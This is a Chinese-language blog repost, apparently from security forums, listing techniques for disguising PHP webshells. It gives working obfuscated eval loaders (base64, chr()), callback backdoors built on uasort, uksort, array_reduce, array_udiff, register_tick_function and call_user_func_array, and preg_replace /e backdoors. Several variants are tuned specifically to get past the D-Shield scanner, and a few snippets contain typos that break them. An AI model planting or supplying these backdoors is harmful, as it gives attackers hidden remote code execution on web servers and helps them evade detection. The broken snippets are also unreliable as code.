木馬變形的方式:
1.字串拼接(編碼,base64,rot13,chr())
base64編碼案列:<?php
$__C_C = "WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
$__P_P = "abcdefghijklmnopqrstuvwxyz";
$__X_X = "123456789";
$__O_O= $__X_X[5] . $__X_X_[3] . "_"; //64
$__B_B = $__P_P{1} . $__P_P[0] . $__P_P[18] . $__P_P[4]; //base
$__H_H = $__B_B . $__O_O . $__P_P[3].$__P_P[4] . $__P_P[2] . $__P_P[14] . $__P_P[3] . $__P_P[4]; //base64_decode encode
$__E_E=$__P_P[4] . $__P_P[21] . $__P_P[O] . $__P_P[11]; //eval
$__F_F=$__P_P[2] . $__P_P[17] . $__P_P[4] . $__P_P[0] . $__P_P[19] . $__P_P[4]; //create
$__F_F=$__F_F . ’_’ . $__P_P[5] . $__P_P[20] . $__P_P[13] . $__P_P[2] . $__P_P[19] . $__P_P[8] . $__P_P[14] . $__P_P[13]; //create function
$__D_D=$__F_F('$__S_S',$__E_E . '("$__S_S");'); //create_function("",'eval();')==eval()
@$__D_D($__H_H($__H_H($__C_C))); //eval('eval($_POST[x]);')
?>
chr()案列:
<?php
$_uU=chr(99) . chr(104) . chr(114);
//echo $_uU;
$_cC=$_uU(101) . $_uU(118) . $_uU(97) . $_uU(108) . $_uU(40) . $_uU(36) . $_uU(95) . $_uU(80) . $_uU(79) . $_uU(83) . $_uU(84) . $_uU(91) . $_uU(49) . $_uU(93) . $_uU(41) . $_uU(59);
//echo $ cC;
$_fF=$_uU(99) . $_uU(114) . $_uU(101) . $_uU(97) . $_uU(116) . $_uU(101) . $_uU(95) . $_uU(102). $_uU(117) . $_uU(110) . $_uU(99) . $_uU(116) . $_uU(105) . $_uU(111) . $_uU(110);
//echo $_fF;
$_=$_fF("",$_cC);@$_();
?>
2.create_function(引數,函式體代碼) 創建匿名函式
3.preg_replace(‘/*/e’,phpinfo(),$data)
4.字符位運算(拼接)
5.<script language="php">phpinfo();</script>
6.不死馬
7.gzinflate解壓
8.不同位置傳值
引數回呼法:
回呼函式:Callback (即call then back 被主函式呼叫運算后會回傳主函式),是指通過函式引數傳遞到其它代碼的,某一塊可執行代碼的參考,
已被D盾查殺的函式:
array_filter() array_walk() array_walk_recursive() array_map() registregister_shutdown_function(); filter_var() filter_var_array() uasort() uksort() array_reduce() 可疑(級別2) array_walk() array_walk_recursive()
最一般的繞狗、后門思路:
call_user_func('assert', $_REQUEST['pass']); //直接引數回呼,將$_REQUEST['pass']傳入的資料,傳遞給assert函式去執行,
雙引數回呼后門:
<?php $e = $_REQUEST['e']; $arr = array('test', $_REQUEST['pass']); uasort($arr, base64_decode($e)); ?>
e作為傳參引數,使用base64加密過的assert函式,即YXNzZXJ0,pass作為密碼,整個程序是將呼叫$e函式,執行$arr,也就是用assert進行代碼執行
衍生出來的方法有:
1.換為uksort函式:
<?php $e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e);
2.面向物件的方法:
<?php // way 0 $arr = new ArrayObject(array('test', $_REQUEST['pass'])); $arr->uasort('assert'); // way 1 $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); $arr->uksort('assert'); ?>
3.array_reduce
<?php $e = $_REQUEST['e']; $arr = array(1); array_reduce($arr, $e, $_POST['pass']); ?>
4.array_udiff
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass']); $arr2 = array(1); array_udiff($arr, $arr2, $e); ?>
變種array_udiff
<?php function newsSearch($para0,$para1){ $evil=$para0; $exec=$para1; array_udiff($arr=array($evil),$arr1 = array(''),$exec); } $exec=base64_decode($_REQUEST['exec']); newsSearch($_POST['key'],$exec); ?>
5.register_tick_function()
<?php declare(ticks=1); register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']); ?>
6.變種call_user_func_array()
嘗試模仿正常函式呼叫,定義一個簡單的function:
<?php function newsSearch($para0){ $evil=$para0; $exec=$_GET['id']; call_user_func_array($exec,array($evil)); } newsSearch($_POST['tid']); ?>
使用D盾查殺,沒過!!變數$exec被決議成了$GET["id"],但$evil沒有被決議,猜測只要將$exec放在newSearch()函式外面用GET方法獲取,就不會被D盾決議,撰寫新的shell:
<?php function newsSearch($para0,$para1){ $evil=$para0; call_user_func_array($para1,array($evil)); } $exec=base64_decode($_GET['id']); newsSearch($_POST['tid'],$exec); ?>
同樣使用call_user_func函式,構造shell如下:
<?php function newsSearch($para0,$para1){ $evil=$para0; call_user_func_array($para1,array($evil)); } $exec=base64_decode($_GET['id']); newsSearch($_POST['tid'],$exec); ?>
三引數回呼后門
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk_recursive($arr, $e, ''); ?>
這段代碼的最終效果是回呼名字為$e的函式,$arr陣列中的$_POST[pass](鍵)作為回呼函式的第一個引數,'|.*|e'作為第二個引數,''作為第三個引數,
最常見的preg_replace
preg_replace('|.*|e', '你的命令', '');其他效果類似的函式:
mb_ereg_replace preg_filter
sqlite回呼后門
如果可以使用PDO的話,可以用sqlite的PDO來執行代碼
<?php $db = new PDO('sqlite::memory:'); $st = $db->query("SELECT 'phpinfo()'"); $re = $st->frtch ?>
文章摘錄于:https://forum.90sec.com/t/topic/55 https://www.freebuf.com/articles/web/194243.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/27476.html
標籤:其他
上一篇:新手小白求助
下一篇:ACCESS手注
